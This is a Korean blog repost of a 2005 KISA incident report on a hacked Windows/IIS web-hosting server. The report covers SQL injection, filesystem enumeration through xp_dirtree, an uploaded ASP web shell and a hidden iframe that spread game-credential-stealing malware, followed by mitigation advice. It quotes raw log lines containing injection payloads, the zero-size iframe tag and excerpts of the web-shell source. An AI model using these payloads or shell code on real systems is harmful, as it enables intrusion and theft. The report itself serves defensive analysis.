관리 메뉴

ㄴrㅎnㅂrㄹrㄱi

웹 해킹을 통한 악성코드 유포사이트 사고사례 본문

ETC

웹 해킹을 통한 악성코드 유포사이트 사고사례

님투 2007. 11. 15. 02:45
반응형

웹 해킹을 통한 악성코드 유포사이트 사고사례

출처 : 한국정보보호진흥원(KISA)의 '2005년 6월 인터넷 침해사고 동향 및 분석 월보' 에서 발췌

1. 개 요


최근 국내 홈페이지들이 해킹당해 일반 PC 사용자들이 해킹당한 홈페이지를 방문만 하여도 악성 코드에 감염되어 게임관련 정보가 유출되는 피해가 발생되고 있다.

이러한 사고는 중국에서 제작된 것으로 추정되는 자동화된 공격도구가 공개되면서 국내의 취약한 홈페이지에서 광범위한 피해가 발생되고 있는 것으로 보여진다.

해킹당해 악성 코드가 삽입된 웹 사이트들은 대부분 Windows 2000 서버 플랫폼에 IIS 웹 서버가 구동 중에 있었으며, MS-SQL DB를 사용하고 있었다.

‘05년 6월에 국내 한 웹 호스팅 업체에서 서비스 중인 고객 사이트도 해킹을 당해 초기 화면에 악성코드가 삽입되는 사고가 발생되었다.

사고분석 결과 중국에 할당된 IP로부터 공격이 이루어졌으며, 공격 과정은 다음과 같은 것으로 보여진다.

① 사용자 입력 또는 URL 인자값에서 SQL Injection 공격이 가능한 페이지 탐색
② 취약 페이지에 대한 SQL Injection 공격 수행
- 자동화된 공격 도구를 이용하여 원격지에서 MS SQL 서버에 질의 및 결과값 회신
③ 웹 브라우져를 통해 Shell 등을 획득할 수 있는 악성 ASP 파일 업로드
④ 업로드한 악성 ASP 파일을 통해서 인덱스 파일(index.html 등)에 악성코드 삽입(iframe 추가)

본 보고서에서는 피해 시스템의 웹 로그 분석 및 공격자에 의해 남겨진 공격툴을 분석함으로써 상기 공격 방법에 대해 좀 더 자세히 살펴보도록 한다.

또한, 인터넷 상에서 입수한 공격도구를 테스트해 보고, 웹 관리자들이 이러한 공격을 예방하고 대응하기 위한 방안을 살펴보도록 한다.


2. 피해시스템 개요

1) 운영체제 : Windows 2000 서버
Microsoft-IIS/5.0
MS-SQL

2) 시스템 용도 : 웹 호스팅 용(총 205개의 사이트 운영)

3) 보안 현황

- 해당 시스템은 윈도우즈 서버 및 IIS 관련 보안 패치는 주기적으로 이루어지고 있었으며, 침입차단시스템 등 추가적인 보안 장비는 사용하고 있지 않았음


3. 피해 현황

해당 피해 시스템에서 운영 중인 205개의 사이트들의 초기화면(index.html)들에 iframe 태그를 이용한 악성코드가 삽입되어 있었다.
하지만 실제 홈페이지 화면만으로는 홈페이지 해킹사실을 확인할 수 없도록 공격에 이용되는 화면의 사이즈를 0으로 설정하여 놓았다.

<iframe src ="http://www.xxx.xx.xx/123/123/index.htm" name ="A" width="0" frameborder="0">

보안 패치를 하지 않은 인터넷 이용자가 해당 사이트에 접속할 경우 PC에 악성코드가 설치되고
국내 특정 온라인 게임 아이디와 비밀번호를 중국 메일 주소로 발송하게 된다.

 

4. 피해 분석

□ 중국에 할당된 IP로 부터의 공격 시도

해당 피해 시스템의 IIS 웹 로그에서 중국에 할당된 IP(xxx.48.81.xx)로부터의 다양한 공격을 확인할 수 있다.

route:      xxx.48.0.0/16
descr:      CHINA NETWORK COMMUNICATION
origin:      AS4814
mnt-by:    MAINT-AS4814
changed:
ttong@publicf.bta.net.cn 20030818
source:    SAVVIS

해당 IP 대역으로부터 수천개의 공격 관련 로그가 남았는데, 일부 로그는 수동 공격에 의한 것도 있었지만

다수의 로그는 자동화된 공격툴에 의해 남겨진 것으로 보여 진다.


□ SQL Injection 공격 흔적

공격자는 웹 사이트를 검색하여 SQL Injection 공격이 가능한 페이지를 검색한 것으로 보여진다.

해당 피해 시스템에서는 공지사항에 올라온 게시물의 인자값에 SQL 구문을 입력한 것으로 보여진다.

아래와 유사한 로그가 짧은 시간에 수백개 정도 나타나고 있는데 이는 자동화된 툴에 의한 것으로 추정된다.

ex050611.log:2005-06-11 17:23:02 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529'|27|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Unclosed_quotation_mark_before_the_character_st
ring_''. 500 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:23:14 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp id=529 200
Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:23:17 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529%20and%20user%2Bchar(124)=0|27|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_conve
rting_the_nvarchar_value_'victim|'_to_a_column_of_data_type_int. 500 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:23:20 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp id=529;declare%20@a%20int--
200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:23:20 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529%20and%20(Select%20count([name])%20from%20[master]..[sysobjects])>=0 200 Microsoft+URL+Control+-+6.00.8862

역시 공격자는 게시글에 존재하는 SQL Injection 취약점을 이용하여 파일 시스템을 조회한다.
다음 로그는 공격자가 bb라는 DB 테이블을 생성하고 MS-SQL에서 제공하는 확장 저장 프로시져인 xp_dirtree를 실행하는 것을 볼 수 있다. xp_dirtree는 지정한 경로 하위의 모든 서브 디렉토리를 보여주는 것으로 공격자는 C:\ 하위를 리스팅하였다.

ex050611.log:2005-06-11 17:23:33 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DROP%20TABLE%20bb;CREATE%20TABLE%20bb(subdirectory%20nvarchar(256)%20NULL,depth%20tinyint%20NUL
L,[file]%20bit%20NULL)-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:23:34 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'C:\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862

공격자는 피해 사이트의 하위 디렉토리로 내려가면서 파일들을 확인하고 있는 것을 볼 수 있다.
이러한 로그는 수동으로 만들어 진 것 이라기 보다는 파일 시스템을 브라우징 할 수 있는 툴을 이용하여 파일들을 열람한 것으로 추정된다.

ex050611.log:2005-06-11 17:23:34 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'C:\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:24:06 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'd:\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:29:18 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'd:\victim\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:29:29 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'd:\victim\html\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:33:05 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'd:\victim\html\admin\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:34:03 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'd:\victim\html\admin\data\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862
ex050611.log:2005-06-11 17:34:31 xxx.48.81.23 - victim_IP 80 GET /announce/new_detail.asp
id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20'd:\victim\html\admin\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862

 

□ 관리자 페이지에 대한 공격 흔적


공격자는 관리자 로그인 페이지에 대한 접속을 시도했다. 웹 관리자 페이지를 유추하여 접근 시도하고, 관리자 로그인을 우회하여 직접 관리자 권한의 편집 페이지를 찾고자 했다.

ex050611.log:2005-06-11 17:41:16 xxx.48.81.23 - victim_IP 80 POST /admin/adminok.asp - 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:41:23 xxx.48.81.23 - victim_IP 80 GET /admin/administrator/admin.asp - 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:41:34 xxx.48.81.23 - victim_IP 80 GET /admin/administrator/admin.asp
mode=update&no=4&status=D 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:41:40 xxx.48.81.23 - victim_IP 80 GET /admin/administrator/adminedit.asp no=4 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)

 

실제 해당 피해 사이트의 관리자 로그인 페이지는 누구나 유추가 가능한 이름(admin)이었으며,
IP에 의한 접근통제도 이루어지지 않아 보안이 취약한 상태였다.

중국에 할당된 IP에서 뿐만 아니라 국내에서도 관리자 페이지에 대해 공격으로 추정되는 로그가 남아 있었다.

아래와 같은 관리자 페이지에 대해 10여 차례 반복적으로 접속한 로그가 남았는데 이는 관리자 계정에 대한 패스워드 유추 또는 SQL Injection 공격에 의한 것으로 보여진다.

ex050616.log:2005-06-16 15:28:54 xxx.xxx.xx.202 - victim_IP 80 POST /admin/adminok.asp - 302
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 15:28:54 xxx.xxx.xx.202 - victim_IP 80 GET /admin/index.html - 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 15:28:59 xxx.xxx.xx.202 - victim_IP 80 POST /admin/adminok.asp - 302
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 15:28:59 xxx.xxx.xx.202 - victim_IP 80 GET /admin/index.html - 200

Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)

 

□ 악성 ASP 파일 업로드 및 웹 페이지 편집


사고 분석 당시 웹 관리자만이 이미지 파일을 올릴 수 있는 디렉토리에 공격용 ASP 파일들이 업로드 되어 있었다.

공격자에 의해 업로드된 ASP 파일들 중의 하나인 ok7.asp 파일을 웹 브라우져에서 실행해 보니,

ASP 파일의 화면은 중국어로 구성되어 있었는데 아래의 소스코드를 보면 공격자가 피해 서버의 파일 및 폴더에 대해 열람/다운로드/삭제/편집/복사/이동, 파일 업로드, CMD.EXE 쉘 획득, MS-SQL DB 관리, 서버 정보 조회 등의 기능이 있는 것으로 보여진다.

이 툴에 의해 index.html 파일에 iframe 태그를 삽입하는 등의 작업을 했을 것으로 보여진다.

Select Case Action

Case "MainMenu":MainMenu()
Case "ShowFile"
Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing
Case "DownFile":DownFile FName:ShowErr()
Case "DelFile"
Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
Case "EditFile"
Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
Case "CopyFile"
Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
Case "MoveFile"
Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
Case "DelFolder"
Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
Case "CopyFolder"
Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
Case "MoveFolder"
Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
Case "NewFolder"
Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
Case "UpFile":UpFile()
Case "CmdShell":CmdShell()
Case "Logout":Session.Contents.Remove("webadmin"):Response.Redirect URL
Case "CreateMdb":CreateMdb FName
Case "CompactMdb":CompactMdb FName
Case "DbManager":DbManager()
Case "Course":Course()
Case "ServerInfo":ServerInfo()
Case Else MainForm()
End Select
...
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
...
function FullDbStr(i){
if(i<0){
return false;
}
Str = new Array(12);
Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<%=RePath(Session("FolderPath"))%>\\db.mdb;Jet
OLEDB:Database Password=***";
Str[1] = "Driver={Sql Server};Server=<%=ServerIP%>,1433;Database=DbName;Uid=sa;Pwd=****";
Str[2] = "Driver={MySql};Server=<%=ServerIP%>;Port=3306;Database=DbName;Uid=root;Pwd=****";
Str[3] = "Dsn=DsnName";
Str[4] = "SELECT * FROM [TableName] WHERE ID<100";
Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')";
Str[6] = "DELETE FROM [TableName] WHERE ID=100";
Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100";
Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
Str[9] = "DROP TABLE [TableName]";
...

 

IIS 웹 로그에는 이들 악의적인 ASP 파일들을 이용하여 피해 시스템에 파일 편집 등을 한 흔적이 남아 있었다.

아래 로그는 국내 모 통신사 IP 블록으로부터 ok7.asp 파일에 접근하여 피해시스템의 파일을 리스팅하고 특정 파일을 업로드하고, 또한 특정 파일을 편집한 흔적을 찾아 볼 수 있다.

ex050616.log:2005-06-16 16:18:03 xxx.xxx.xx.202 - victim_IP 80 GET /gallery/ok7.asp Action=MainMenu 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 16:18:04 xxx.xxx.xx.202 - victim_IP 80 GET /gallery/ok7.asp Action=ShowFile 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 16:18:41 xxx.xxx.xx.202 - victim_IP 80 GET /gallery/ok7.asp Action=CmdShell 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 16:20:11 xxx.xxx.xx.202 - victim_IP 80 GET /gallery/ok7.asp Action=UpFile 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 16:21:05 xxx.xxx.xx.202 - victim_IP 80 POST /gallery/ok7.asp Action=UpFile&Action2=Post 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 16:21:07 xxx.xxx.xx.202 - victim_IP 80 GET /gallery/ok7.asp Action=ShowFile 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
ex050616.log:2005-06-16 16:21:25 xxx.xxx.xx.202 - victim_IP 80 GET /gallery/ok7.asp Action=EditFile 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)

 

또한, 중국에 할당된 IP에서도 이미지 파일을 업로드하는 디렉토리에서 new2.asp와 sent.asp 등을 이용하여 파일을 수정한 것도 볼 수 있다.

ex050611.log:2005-06-11 17:43:49 xxx.48.81.23 - victim_IP 80 GET /gallery/gimage/째챈짹창?책쨍챕.jpg - 200
Mozilla/4.0+(compatib+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:43:49 xxx.48.81.23 - victim_IP 80 GET /gallery/gimage/째챈짹창횁첩횉횪+쩍횋횈횉쨉챕+짹창
쨀채횄횚쩔쨉1.(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:44:29 xxx.48.81.23 - victim_IP 80 GET /gallery/gimage/news2.asp - 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:56:38 xxx.48.81.23 - victim_IP 80 POST /gallery/gimage/news2.asp
u=execute(application(%22fileContent%22))&pageName=fso&theAct=upload&thePath=D%3A\victim\html\&theFile=C:\Doc
uments%20and%20Settings\Administrator\횞?횄챈\횊챠쩌첸\severWrite=false&fileName=D:\victim\html\ 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 17:56:46 xxx.48.81.23 - victim_IP 80 GET /gallery/gimage/news2.asp
u=execute(application(%22fileContent%22))&pageName=fso&thePath=D:\victim\html\ 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 18:08:27 xxx.48.81.23 - victim_IP 80 GET /sent.asp
pageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Cagency1%5Chtml%5Cindex%2Ehtm 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 18:08:34 xxx.48.81.23 - victim_IP 80 POST /sent.asp
pageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Cagency1%5Chtml%5Cindex%2Ehtm 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)
ex050611.log:2005-06-11 19:11:28 xxx.48.81.23 - victim_IP 80 GET /sent.asp
pageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Chmcadmin%5Chtml%5Cindex%2Easp 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)

 

□ 불법 사용자 계정 생성


피해 시스템에는 kyo라는 불법 사용자 계정이 생성되어 있었다. 또한, 이 계정은 관리자 그룹에 속해 시스템 관리자 권한으로 악의적인 행위가 가능했던 것으로 보여지며, 해당 계정의 디렉토리에서 해킹 프로그램 등이 발견되었다.

또한, 아래 로그는 xxx.xxx.xx.203라는 IP 주소로부터 kyo라는 계정으로 앞서 살펴본 악성 ASP 파일(ok7.asp)에 접근한 것을 알 수 있다.

ex050616.log:2005-06-16 14:02:02 xxx.xxx.xx.203 - victim_IP 80 GET /gallery/ok7.asp kyo 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+i-NavFourF)
ex050616.log:2005-06-16 14:02:10 xxx.xxx.xx.203 - victim_IP 80 POST /gallery/ok7.asp - 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+i-NavFourF)
ex050616.log:2005-06-16 14:02:21 xxx.xxx.xx.203 - victim_IP 80 GET /gallery/ok7.asp kyo 200
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+i-NavFourF)


5. 중국에서 제작된 것으로 추정되는 웹 서버 공격 도구

최근 발생되고 있는 IIS 웹서버에 대한 공격은 광범위하게 이루어지고 있는데 이는 자동화된 공격도구가 공격자들 사이에서 공유되고 있기 때문이다.

특히, 중국 해킹관련 사이트에서 MS-SQL 서버에 대해 SQL Injection 공격을 할 수 있는 도구와 공격방법들이 공유되고 있다.

인터넷을 통해 공개되고 있는 중국에서 제작된 것으로 추정되는 공격 도구 중의 하나로 본 사고의 피해 시스템을 대상으로 공격 시도했을 경우 쉽게 SQL Injection 공격이 성공하고, DB에 저장되어 있는 관리자 계정과 패스워드가 노출되는 것을 볼 수 있었다.

공격은 피해 시스템의 로그에 남은 공지사항의 인자값에 대한 SQL Injection 취약점을 이용하였다.

인터넷 상에는 상기 도구와 유사한 SQL Injection 공격 도구와 웹상에서 Shell 권한을 획득할 수 있는 도구 등이 다수 존재하므로 웹 관리자들의 주의가 요구된다.

 

6. 보안 대책

최근 중국에 할당된 IP로부터의 공격이 증가하고 있으며, 중국 해커에 의해 제작된 것으로 추정되는 각종 해킹 도구들이 공개됨에 따라 대규모 공격이 발생될 수 있어 국내 홈페이지 관리자들의 주의가 요구된다.

본 사고의 분석결과를 통해 알수 있듯이 공격자는 사용자 입력값이나 URL 인자값에 존재하는 SQL Injection 취약점을 이용하여 MS-SQL DB 서버를 공격하였다. 이는 기존의 시스템이나 웹 애플리케이션의 보안 패치 만으로는 해결할 수 없고, 자체적으로 홈페이지를 개발할 때 설계/개발단계에서부터 보안을 고려하여 홈페이지를 구축하여야 할 필요가 있다.

본 사고의 경우도 웹 호스팅 업체에서 시스템 자체의 보안 패치는 주기적으로 이루어지고 있었지만, 실제 홈페이지를 운영하는 고객사의 홈페이지에 SQL Injection과 같은 보안 취약점이 존재하여 공격을 받은 경우였다.

본 사고와 유사한 사고의 재발을 방지하기 위해 다음과 같은 보안대책이 요구된다.


□ 사용자 입력값 검증(SQL Injection 취약점 제거)

본 사고의 가장 근본적인 원인은 다양한 경로를 통한 사용자 입력값이나 URL의 인자값에 대한 검증이 이루어지지 않았다는 것이다. 따라서, SQL Injection 공격을 방어하기 위해 사용자 입력값이나 URL 인자값에 대한 검증이 우선시 되어야 한다.

o 데이터베이스와 연동을 하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력 값이 SQL injection을 발생시키지 않도록 수정한다.

o 사용자 입력이 SQL injection을 발생시키지 않도록 사용자 입력 시 특수문자(' " / \ ; : Space - +등)와 SQL 구문(union, select, insert 등)이 포함되어 있는지 검사하여 허용되지 않은 문자열이나 문자가 포함된 경우에는 에러로 처리한다.

o SQL 서버의 에러 메시지를 사용자에게 보여주지 않도록 설정한다. 공격자는 리턴 되는 에러 메시지에 대한 분석을 통하여 공격에 성공할 수 있는 SQL Injection 스트링을 알아낼 수 있다.
따라서 SQL 서버의 에러 메시지를 외부에 제공하지 않도록 한다.

 

□ 불필요한 확장 저장 프로시져 제거

MS-SQL 서버에서 제공하고 있는 확장 저장 프로시져 중 사용하지 않는 프로시져들을 제거하도록 한다.

xp_cmdshell, xp_regread, xp_dirtree와 같은 프로시져들은 공격자에 의해 이용될 수 있으므로 가능한 제거하는 것이 바람직하다.


□ 원격지에서 SQL 서버 실행 금지

원격지에서 데이터베이스에 대한 질의를 가능하게 하는 ‘ad-hoc' 질의를 금지시킨다.

’ad-hoc' 질의는 OPENROWSET 같은 함수에 의해 가능한데, 레지스트리 편집을 통해 이 기능을 차단할 수 있다.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\Microsoft.Jet.OLEDB.4.0]
"DisallowAdhocAccess"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\MSDAORA]
"DisallowAdhocAccess"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\MSDASQL]
"DisallowAdhocAccess"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB]
"DisallowAdhocAccess"=dword:00000001

잘못된 레지스트리 편집은 시스템의 오동작을 야기할 수 있으므로, ad-hoc 질의 금지에 대한 다음의 MS社 문서를 참고하여 신중하게 진행하기 바란다.

http://support.microsoft.com/default.aspx?scid=kb;ko;256052

 

□ Inboud/Outbound 트래픽 필터링


IPSec, 라우터, 침입차단시스템 등을 이용하여 SQL 서버에 대한 필터링을 실시한다. 운용되는 시스템의 환경에 따라 다르겠지만, SQL 서버의 1433/TCP, 1434/UDP에 대한 직접적인 접속을 차단한다. 또한 SQL 서버에서 외부로의 불필요한 접속도 차단하여 공격자에 의한 reverse connection을 차단할 수 있도록 한다.

 

□ 주기적인 로그 검사


본 사고 분석결과에서 알 수 있듯이 최근 발생되고 있는 사고는 SQL 공격 흔적이나 공격자의 행위 등이 IIS 웹 로그에 남는다. 따라서, 웹서버 관리자는 로그를 주기적으로 검사하여 공격자에 의한 침입여부를 확인하고, 취약한 부분을 검색할 필요가 있다.

 

□ 관리자 페이지에 대한 접근 통제


관리자 로그인 페이지 주소를 유추하기 어려운 이름으로 변경하고, 아래와 같은 유추 가능한 이름을 관리자 페이지로 사용하는 것을 금지한다.

http://admin.victim.com
http://www.victim.com/admin/
http://www.victim.com/manager/
http://www.victim.com/master/
http://www.victim.com/system/

또한, 관리자 PC에서만 홈페이지 관리자 페이지에 접근할 수 있도록 IP별 접근통제를 실시한다.
IIS 웹서버의 경우 아래의 방법으로 관리자 페이지에 대한 접근을 제한할 수 있다.

•설정→제어판→관리도구→인터넷 서비스 관리자 선택
•해당 관리자 페이지 폴더에 오른쪽 클릭을 하고 등록정보→디렉토리 보안→IP 주소 및 도메인 이름 제한→편집 버튼을 클릭
•액세스 거부를 선택하고 추가 버튼을 클릭하여 관리자 호스트IP 또는 서브넷을 등록

이외에도 홈페이지 개발 과정에서 다양한 취약점이 존재할 수 있으므로 KISA에서 제작한 「홈페이지 개발 보안 가이드」를 참고하여 다양한 취약점에 대한 보완을 하는 것이 바람직하다.


o 홈페이지 개발 보안 가이드 다운로드 :
http://www.kisa.or.kr/news/2005/announce_20050427_submit.html

특히, 최근 해킹은 단순한 홈페이지 변조 수준이 아니라 이를 이용하여 게임 비밀번호 유출, 금융정보 유출 등 금전적 이득을 위한 해킹으로 발전하고 있다. 이에 따라 해킹 수법도 갈수록 지능화되어 가고 있으므로 홈페이지 관리자들은 이에 대응하기 위해 홈페이지의 보안조치에 각별히 신경을 써야 할 것이다.


참고 자료 :

Manipulating Microsoft SQL Server, MySQL, Oracle Using SQL Injection & Auto Vulnerable
Scanning,
http://www.securitymap.net/, 심정재

Advanced SQL Injection In SQL Server Applications, http://www.ngssoftware.com, Chris Anley

(more) Advanced SQL Injection, http://www.ngssoftware.com, Chris Anley

반응형

'ETC' 카테고리의 다른 글

개미 죽이기  (0) 2007.11.22
80대 노인 폐지수집한 돈 기부하고 별세  (0) 2007.11.19
테테테 텔미  (0) 2007.11.10
공개 프로젝트 모음  (0) 2007.11.03
비보이팀 '익스프레션' 마법사 퍼포댄스  (0) 2007.10.31
Comments